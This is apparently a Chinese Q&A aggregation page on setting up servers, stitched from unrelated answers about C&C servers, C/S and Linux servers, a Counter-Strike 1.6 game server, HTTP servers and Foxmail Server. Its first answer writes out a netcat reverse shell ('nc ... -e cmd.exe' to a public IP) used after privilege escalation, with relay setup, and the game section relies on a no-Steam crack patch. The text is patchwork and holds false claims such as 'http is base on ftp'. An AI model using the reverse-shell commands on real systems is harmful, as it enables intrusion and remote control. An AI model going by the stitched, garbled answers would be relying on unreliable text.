c搭建伺服器
『壹』 什麼是C&C伺服器
C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器
通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。
而有的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333
上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe
上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 伺服器。
(1)c搭建伺服器擴展閱讀:
C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。
通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。
這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。
『貳』 如何搭建C/S中的伺服器端
1、確定客戶端和服務端之間採用的序列化和反序列化的交換格式,可以採用的有XML JSON PROTOBUF等等
2、確定了交換格式以後開始編寫程序
3、服務端編程大部分都是處理RPC,難點就是在與客戶端連接和接收數據這一塊
http is base on ftp:
http app layer
--------
ftp translation layer.
如果我的回答沒幫助到您,請繼續追問。
『叄』 如何使用c 在linux下搭建伺服器
我這里提出的開發環境的只是我個人喜歡的,並不一定是最好的,僅供參考。以下都以我的系統為准: Fedora Core2, gnome。 1:linux下的 軟體安裝。 在linux下安裝有兩種方法:自己編譯源代碼安裝和用RPM安裝。一般軟體都提供了RPM包下載
『肆』 cs1.6伺服器的具體搭建
首先在CS的文件夾裡面找到hlds.exe 創建一個快捷方式 查看它的屬性 在目標那裡加入D:\\Cs1.6中文版\\hlds.exe -game cstrike -port 27015 +maxplayers 32 +map de_st2 -console +localinfo mm_gamedll dlls/hldsmp.dll
其中D:\\Cs1.6中文版\\hlds.exe是你hlds.exe的路徑~別弄錯咯 -port是你伺服器的埠
+maxplayers 是伺服器能容納的最大玩家數 不能超過32 如果是一般混戰伺服器 建議設置為22人 為速度考慮嘛~還有一個原因就是de_nuke de_prodigy等地圖是不能加滿32人的 改過的地圖能加滿,但是暫時我手上還沒有0_0
改好上面這些後 還要覆蓋一個
nosteam的小補丁 這個東東我隨後傳上來 下了解壓後把裡面的那個小dll文件 改名為swds.dll 然後把CS文件夾里的原來那個swds.dll覆蓋了就OK了
隨後就是修改伺服器的某些設置
在cstrike文件夾里找到server.cfg文件夾 你可以在這里修改你伺服器的名字 和一些參數 按照自己的需要來設置咯~~~~~呵呵 其中rcon_pasword 是伺服器的OP sv_password 是進入伺服器的密碼 別搞混咯0_0
在liblist.cfg中 可以看到這樣一句 secure "1" 這里決定你的伺服器是否使用VAC反作弊系統 默認的是1 建議設置為0 這里順便鄙視一下那些作弊豬 我日 VAC反作弊系統的伺服器作弊的太多了 還是用C-D吧~
在網上下栽一個C-D的伺服器端(隨後我也有上傳)解壓後復制到cstrlke子目錄下的addons文件夾中 名字叫 cdeath 然後在 addons目錄中找到metamod文件夾 打開 找到一個叫plugins.ini的文件 在裡面添加上
win32 addons/cdeath/cdmod.dll
這樣是啟動了CD反作弊系統 注意必須是 secure 設置為0時才能這樣~
在上面這個文件夾里還能看到如下語句
//win32 addons/wwcl/dlls/pcawwclconfig_mm.dll
//linux addons/wwcl/dlls/pcawwclconfig_mm_i386.so
這是啟動腳本檢測 去掉前面的//就啟動了 建議使用 win32是針對win系統的 linux是針對linux伺服器的 自己看著用咯
再就是插件的安裝
一個伺服器如果進去是個白版伺服器 什麼趣味都沒有 那就稱不上是快樂CS拉~ 目前這些插件的功能有排名 死亡播放MP3 等多種功能 還有很多趣味性很強的功能咯 比如彈道顯示 傷害顯示 炸彈丟出痕跡 等等 看你自己的選擇
如果單一隻要排名功能 推薦 statsme 插件 簡單好用 不過個人覺得還是使用功能強大的amxx拉!!!! 幾乎包含了所有的插件功能 懶汗的選擇哈-_-!
amxx隨後我有上傳
解壓後把它丟在addons文件夾下 再到plugins.ini仿照上面添加CD伺服器端的方法添加語句~就OK拉~
下面的事情就是進入amxx裡面 按照個人需要設置插件各功能 特效的開關與否
最後一步:請用你的滑鼠雙擊hlds.exe
希望你能看明白..看不明白在網上搜索一下..
有很多教程..
『伍』 怎麼在C/C++下建立一個Http伺服器
這個不清楚,一般都用的是小鳥雲伺服器,穩定性以及速度很快感覺挺好的。
『陸』 自己如何搭建伺服器。
1、打開控制面板,選擇並進入「程序」,雙擊「打開或關閉Windows服務」,在彈出的窗口中選擇「Internet信息服務」下面所有地選項,點擊確定後,開始更新服務。
(6)c搭建伺服器擴展閱讀:
入門級伺服器所連的終端比較有限(通常為20台左右),況且在穩定性、可擴展性以及容錯冗餘性能較差,僅適用於沒有大型資料庫數據交換、日常工作網路流量不大,無需長期不間斷開機的小型企業。
不過要說明的一點就是目前有的比較大型的伺服器開發、生產廠商在後面我們要講的企業級伺服器中也劃分出幾個檔次,其中最低檔的一個企業級伺服器檔次就是稱之為"入門級企業級伺服器",這里所講的入門級並不是與我們上面所講的"入門級"具有相同的含義,不過這種劃分的還是比較少。
還有一點就是,這種伺服器一般採用Intel的專用伺服器CPU晶元,是基於Intel架構(俗稱"IA結構")的,當然這並不是一種硬性的標准規定,而是由於伺服器的應用層次需要和價位的限制。
『柒』 C/C++做伺服器需要學習什麼樣的技術
伺服器所用到的知識:
TCP/UDP,最基本的
並發——你可以選擇使用select、poll,或者是多線程、多進程
如果你使用多線程,那麼就必須使用同步技術——信號量、互斥體、條件變數的一種或幾種,並且對於多線程技術,你還需要考慮使用進行線程分離與合並,
如果你使用了多進程,那麼同步技術就不是你需要考慮的了,你需要考慮的是進程相關的問題了,你是使用fork還是vfork,你該如何處理客戶端的請求,如何處理客戶端斷開連接後保證能夠處理完數據並且沒有僵屍進程產生,你還需要考慮高並發的問題
你發送接受數據的時候,採用何種方式,是阻塞的還是非阻塞的,還有連接超時、重傳等問題
你是選擇TCP還是UDP,如果選擇UDP你可得忙了,需要你自己去進行重傳驗證,模擬TCP的三次握手,保證數據不會丟失,保證數據的有序性
還有其他很多需要你考慮的,以上都是指在Linux下的C++,本人對windows C++不了解
推薦書目:UNIX高級環境編程,UNIX網路編程,卷一。C++只不過是你使用這些技術的方式,不管你使用C還是C++,你都可以使用從這兩本書中學習到很多有用的知識,但是不能保證你就可以寫出高質量的伺服器程序。
『捌』 c 做伺服器要學多久
如果你學過其他語言的編程,學c的話估計3個月左右,如果沒結果編程,估計要半年左右吧。
如果解決了您的問題請採納!
如果未解決請繼續追問
『玖』 如何用C語言開發一個通用web伺服器
用C語言開發WEB,可以用C++BUILDER6,稱ISAPI,一般人可能做不起來,有點麻煩;
唯一是速度很快,別人看不到源碼,掌握了編程套路,也可以開發應用;
缺點:
1。不是解釋性語言,做的WEB調試非常麻煩;現在做WEB開發的,用C#、JAVA較多;都是解釋性的語言;
2。因為是.DLL的二進制代碼,一般商業網站不給予運行的環境,因為網站伺服器會被你可能搞癱,安全性得不到保障;所以,你得自備網頁伺服器;
3。得不到技術支持,因為沒幾個人會這種開發;
『拾』 如何搭建一個基礎的Email C&C伺服器
Foxmail Server(以下簡稱FMS)可以搭建出功能強大的郵件伺服器。本文以FMS For Windows 2.0為例,從其設置、管理、收發郵件等幾方面入手為大家簡單介紹該軟體的使用方法及注意事項。 ★安裝和設置郵件伺服器
FMS2.0要求操作系統Windows NT4.0(Service Pack4以上)和IIS5.0及以上版本的支持才能實現全部功能,並且還應以Administrator身份登錄計算機。我們的討論則是基於Windows Server 2000+IIS5.0的試驗環境。FMS的安裝過程比較簡單,這里不再贅述,我們重點談談它的設置過程。
一、設置域名和管理員口令
程序安裝完畢後,自動進入設置向導。單擊「下一步」按鈕,即可進入「應用程序設置」窗口。在這里我們可以設置用戶信箱的域名(即用戶E-mail地址中@字元的後綴部分)和管理員口令。您可以向域名管理機構申請合法的域名。但是如果通信范圍僅限於區域網內部,也可以通過內部的DNS伺服器建立一個郵件伺服器專用的域名。為敘述方便,我們使用了本機的機器名作為域名(在命令行窗口中鍵入「hostname」命令就能得到本機的機器名),本例中的機器名為CHHUIAN。然後設置系統管理員口令和郵箱密碼以及域管理員口令和郵箱密碼,以後在管理系統和域時會用到兩個管理員口令(圖1)。